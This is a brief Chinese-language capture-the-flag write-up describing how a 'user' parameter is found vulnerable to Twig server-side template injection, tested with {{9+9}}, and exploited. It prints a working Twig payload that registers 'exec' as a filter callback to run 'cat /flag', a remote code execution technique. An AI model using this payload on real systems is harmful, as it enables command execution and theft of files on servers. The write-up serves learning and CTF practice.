既然提示了是和cookie有关系
那么先看cookie
没什么东西
然后去flag界面查看一下

发现多了一个user参数


这里存在注入

考虑可能是SSTI注入
尝试一下

123{{9+9}}

确实可以
存在twig模板注入

payload
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("cat /flag")}}

参考链接：https://www.k0rz3n.com/2018/11/12/%E4%B8%80%E7%AF%87%E6%96%87%E7%AB%A0%E5%B8%A6%E4%BD%A0%E7%90%86%E8%A7%A3%E6%BC%8F%E6%B4%9E%E4%B9%8BSSTI%E6%BC%8F%E6%B4%9E/#2-Twig